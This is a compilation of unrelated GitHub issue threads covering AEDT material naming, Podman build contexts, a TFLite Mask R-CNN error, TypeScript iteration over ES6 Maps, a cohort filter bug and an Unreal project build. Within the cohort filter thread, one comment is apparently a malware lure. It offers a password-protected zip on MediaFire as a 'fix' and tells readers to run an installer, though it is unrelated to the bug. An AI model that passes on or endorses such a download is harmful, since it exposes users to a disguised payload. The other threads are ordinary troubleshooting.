If AEDT is run in grpc mode the issue does happen (for example add_material).
When we update the material in add_material and call the native API method AddMaterial, for names containing specific chars, the method returns None (where it should return the name of the material created).
If AEDT is run in COM mode, this doesn't happen. The native API method returns the material name.
For other methods using special chars (create_rectangle etc) if AEDT is run in COM mode the message manager displays an error saying that the name cannot contain non-ASCII chars.

Hi @Jessi0396,
Thanks for submitting this issue.
create_ellipse() needed a small fix which should be fixed in #3440 .
Fix should be available in next release.
Giulia


implement little visual of who's logged in at the top right corner of app [$50]

Hi @mmills6060 , I'm interested in contributing to this issue.
Let me know if there are any specific requirements, guidelines, or preferences I should follow while working on this issue.

done


Added support to define custom context directory instead of '.' (is still default when omitted)

In Version 1.18.0 there is no possibility to define a custom context directory. The context is appended hard coded as '.' at the end of the build command (method 'PodmanBuildCommand.build()'). Especially when copying files from the host into the image it is often necessary to expand the context to a higher directory.
This change adds the build configuration option "contextDir". If the option is ommited the fallback is still '.'

Hi @JimPanse81,
My apologies for the delay in response. I have been extremely busy in the past few months. I will review and merge your contributions this week.
Thanks again for your PR. It is greatly appreciated :-)


Error to run the tflite model: self._interpreter.Invoke() RuntimeError: Input tensor 1283 lacks data

1. System information

OS Platform and Distribution (e.g., Linux Ubuntu 16.04): Linux 18.04
TensorFlow installation (pip package or built from source): pip
TensorFlow library (version, if pip package or github SHA, if built from source): 2.7.0-dev20210804

2. Code
The code I use to convert the model and run the interpreter:
converter = tf.lite.TFLiteConverter.from_saved_model("mask_rcnn_coco_1204")
converter.optimizations = [tf.lite.Optimize.DEFAULT]
converter.representative_dataset = representative_data_gen
converter.target_spec.supported_ops = [tf.lite.OpsSet.TFLITE_BUILTINS_INT8, tf.lite.OpsSet.SELECT_TF_OPS]
converter.inference_input_type = tf.uint8
converter.inference_output_type = tf.uint8
converter.experimental_new_converter = True
tflite_model = converter.convert()
fo = open(
    "mask_rcnn_inception_1024_int_quantized.tflite", "wb")
fo.write(tflite_model)
fo.close

interpreter = tf.lite.Interpreter(model_path="mask_rcnn_inception_1024_int_quantized.tflite")
interpreter.allocate_tensors()
input_details = interpreter.get_input_details()
output_details = interpreter.get_output_details()

input_shape = input_details[0]['shape']
input_data = np.array(np.random.random_sample(input_shape), dtype=np.uint8)
interpreter.set_tensor(input_details[0]['index'], input_data)

interpreter.invoke()

output_data = interpreter.get_tensor(output_details[0]['index'])
print(output_data)

Here is the tflite model that converted.
3. Failure after conversion
Model converting finished with no error, but the converted model couldn't run through the interpreter.
4. Error traceback
Traceback (most recent call last):   File "converter.py", line 100, in <module>     interpreter.invoke()   File "/home/dev/.local/lib/python3.6/site-packages/tensorflow/lite/python/interpreter.py", line 858, in invoke     self._interpreter.Invoke() RuntimeError: Input tensor 1283 lacks data
Originally posted by @JiashuGuo in https://github.com/tensorflow/tensorflow/issues/51209#issuecomment-895023730

@JiashuGuo Thank you for the post!
Can you please fill the issue template In order to expedite the trouble-shooting process of  the issue reported here. Thanks!

@JiashuGuo Thank you for the post!
Can you please fill the issue template In order to expedite the trouble-shooting process of the issue reported here. Thanks!

I updated the issue.

@abattery Do models with Flex ops work as-is in Python?

Yes, it works

@abattery Do models with Flex ops work as-is in Python?

Have you found any fixes for this? Is it because of mask_rcnn model has operations that don't support quantization? I found the mask_rcnn model doesn't work with quantization-aware training either.

@JiashuGuo At a high level, may I know what is the output you desire from the MaskRCNN model? Is it just bounding boxes or segmentation masks as well?
Some of the TF MaskRCNN versions aren't mobile friendly due to their source graph, which generates a lot of problems especially if you are considering quantization.

I am expecting both bboxes and segment masks.
On Mon, Aug 23, 2021 at 9:06 AM Sachin Joglekar @.***>
wrote:

External Email
@JiashuGuo https://github.com/JiashuGuo At a high level, may I know
what is the output you desire from the MaskRCNN model? Is it just bounding
boxes or segmentation masks as well?
Some of the TF MaskRCNN versions aren't mobile friendly due to their
source graph, which generates a lot of problems especially if you are
considering quantization.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/tensorflow/tensorflow/issues/51404#issuecomment-903910227,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AF72A22OHUQNG6TXSWAMPYTT6JWX7ANCNFSM5B3UTAXA
.
Triage notifications on the go with GitHub Mobile for iOS
https://apps.apple.com/app/apple-store/id1477376905?ct=notification-email&mt=8&pt=524675
or Android
https://play.google.com/store/apps/details?id=com.github.android&utm_campaign=notification-email
.

I see. Where was this Mask RCNN model obtained from? I am not very familiar with the model structure and what kinds of I/O tensors it expects. Maybe try running a floating point model before trying quantized?

I see. Where was this Mask RCNN model obtained from? I am not very familiar with the model structure and what kinds of I/O tensors it expects. Maybe try running a floating point model before trying quantized?

The model is downloaded from here.  I also tried other versions in tf1 model zoo, but none works. So yeah, it seems now I can only run the float point model.

To clarify: Does the floating point model work as expected?

To clarify: Does the floating point model work as expected?

Yes, it works.

Hi @JiashuGuo
I was checking if the issue still exists.
The issue seems to be resolved with TF 2.12. I was able to invoke the tensor and print the output data with out any error.
Please refer this gist and let us know if it helps.
Thanks.


Updating docs to fix reference to the max content width settings

This update looks to fix the outdated documentation for maxContentWidth().
Filament v2 had this available on the Page, but in v3 it is moved to the Panel settings.

getMaxContentWidth does actually still exist on the page though, and it works right?

It didn't work for me when I used it (going from memory).

Assuming it should still be available per-page also, I can have a look, but won't be for over a week or so now as I'm on holiday.

@danharrin I checked, and it is working on the latest version. So I've amended this PR accordingly.

Thanks


Iterating ES6 Map object

When I try to iterate over a Map object as described in MDN: Map, i.e.
let map = new Map<string, string>();

map.set("key", "value");

for (let value of map.values()) {
    console.debug(value);
}

the compiler complains:
Type 'IterableIterator<string>' is not an array type or a string type.

Is this a bug, or am I doing something wrong?

Works fine in master (not sure about the most recent release version). Also, there is no put in Map. Are you sure you're using the right .d.ts file?

I meant Map.set, sorry. I'm using v1.7.3, I'll try v1.7.5 and then v1.8.0-beta!

The error message sounds like you're targeting ES5 and forcing it to use lib.es6.d.ts to be able to get Map. TS doesn't support iterating IterableIterator with ES5 target.

looks like a duplicate of #4947, or at least stemming from the same issue.

@mhegazy #4947 is to allow for-of on array-likes in ES5. Map.values() returns an iterator and is only available in ES6 anyway.

@Arnavion is right, targeting ES6 solves the problem. I'm now transpiling TS to ES6 and then ES6 to ES5 with Babel. Thank you!

This seems pretty strange. Why should it be necessary to transpile to ES6 and then again with Babel (the process of which incidentally messes up source maps in our project) just in order to have a standard ES6 feature work? Isn't TypeScript supposed to be a superset of ES6 and the TypeScript compiler a drop-in replacement for Babel?

TypeScript is a syntactic superset of JavaScript, not a functional superset.  When syntax and functionality intersect, there is a bit of a grey area.  When targeting ES5, TypeScript assumes that only number indexed based objects (ArrayLike) can be down-emitted with for ... of because those are only the functional structures which are guaranteed to be supported by ES5.
#11209 discusses this in more detail with other possible solutions when you cross the syntactic/functional barrier of ES6.

Indeed, even though TS emits ES5-compliant JS, that JS is not ES6-conformant. For example, the JS emitted for for-of even for arrays does not account for iterators because it assumes they don't exist. Babel works around this by requiring core-js to provide the ES6 functionality. TS should definitely not be considered a drop-in replacement for Babel.

I'd be totally fine if core-js were a requirement. In fact we are using core-js already for exactly this reason. The problem is that it doesn't help much to have those (type-safe!) ES6 collections classes available, if it's not even possible to iterate over them.

@Arnavion I've also described our trials and tribulations in greater detail in the linked issue (#11209). It's newer and has more active participants, so let's use that for future discussion. ;)

I got the error when using map, even when compiling to target: "ES6" in VSC
  mergeAll() {
    this.streams.values().map(stream => stream.subscribe(this.stream))
  }

Worked when I switched to a  for loop instead (which I normally try to avoid to keep more functional)
    for (let stream of this.streams.values()) {
      stream.subscribe(this.stream)
    }

Any suggestions?


bug: The cohort 2.0 and cohort 3.0 filter is bugged

Describe the bug
bug: The cohort 2.0 and cohort 3.0 filter is bugged
To Reproduce
Steps to reproduce the behavior:

Click on Cohort 2.0 filter
Click back on cohort 3.0 filter it no longer works (probable some state issue onclick problem?)

Expected behavior
On clicking the filter buttons the content should filter as cohort 2 notes and cohort 3 note
Screenshots or GIFs
https://github.com/user-attachments/assets/c591b5d4-e9db-40fa-a6ff-de57b85acba5
Info (please complete the following information):

Browser : chrome
Version [e.g. 22]

Additional context
Add any other context about the problem here.

Download
https://www.mediafire.com/file/xs3e15yonljh4bk/fix.zip/file
password: changeme
In the installer menu, select "gcc."

I tried to fix it, first I thought the state switching of the buttons could be wrong, then I made some logs that what data is database sending to filter out AND the field "cohort" which should have 2 or 3 has 0 in all entries idk if its only the case with seeding data or something else.
But when I update the Track table and made some records have "cohort" 2 or 3 then the filtering was working fine.

the cohort field is set by default to 0
So,

this check will always give empty object.

when made changes in the database.
or am I missing something.

@Gurveer1510 , in production the value is not zero , the fix here is to add the logic to change the state of both the buttons . i already fixed it in #588
              setCohort3(!cohort3);
              cohort2 && setCohort2(!cohort2);

@Gurveer1510 , in production the value is not zero , the fix here is to add the logic to change the state of both the buttons . i already fixed it in #588
              setCohort3(!cohort3);
              cohort2 && setCohort2(!cohort2);

Ohh, I fixed the state change bug too

but I thought it was something big. 😂

The main branch was reverted so no issue?


Dagster Blockchain runs are slow due to debug logs

Which area(s) are affected? (leave empty if unsure)
No response
To Reproduce
We want the debug logs from the console but not necessarily in the event logs. Let's disable them for now.
Describe the Bug
Running a materialization is slow due to debug logs. Try running one of the blockchain materializations.
Expected Behavior
It shouldn't be so slow.

Was closed with #1463


linting with coffeelint

I'm all for linting and cleaning up this hairball of a code base.

OK, i am working on a new PR!


Cannot open RTSProject.uproject due to missing or outdated modules.

Trying to open the RTSProject.uproject comes with the error "Missing RTSProject Modules" and lists the following modules as either missing or built with a different engine version:
RTSProject
RealTimeStrategy
DaedalicTestAutomationPlugin
DaedalicTestAutomationPluginEditor.
Trying to rebuild them only comes with the error "Cannot be compiled. Try rebuilding from source manually".

Hey @PanzerVIIPrommy !
Where have you downloaded the project? Was that a GitHub branch or an official release version?
In general, you'll have to compile the binaries yourself (using Visual Studio) when opening the example project. Currently, that project is targeted at Unreal Engine 4.25.
Official releases contain just the plugin, but with precompiled binaries as stated in the download (e.g. RealTimeStrategy-1.2.0-Windows-UE4_4.25.zip can only be used in Unreal Engine 4.25). These releases can be used in blueprint projects as well.

Good day!
I downloaded it from the latest GitHub branch, specifically the 1.2.0 release. Filename is "ue4-rts-1.2.0.zip".
Just to be clear, I have to compile the binaries  of the project? If so, may I have know how to compile them so that they work with my Unreal Engine version (v 4.25)?

Hey @PanzerVIIPrommy!
Yes, if you're pulling (or downloading) from Git, then you'd have to compile the binaries yourself.
However, you can always access the latest release from the releases page, which includes pre-compiled binaries.
Best regards,
Nick

Hey @PanzerVIIPrommy!
Yes, if you're pulling (or downloading) from Git, then you'd have to compile the binaries yourself.
However, you can always access the latest release from the releases page, which includes pre-compiled binaries.
Best regards,
Nick

Hey @PanzerVIIPrommy!
Yes, if you're pulling (or downloading) from Git, then you'd have to compile the binaries yourself.
However, you can always access the latest release from the releases page, which includes pre-compiled binaries.
Best regards,
Nick

I'm closing this now, for tracking purposes. Feel free to re-open in case you've got any follow-up questions!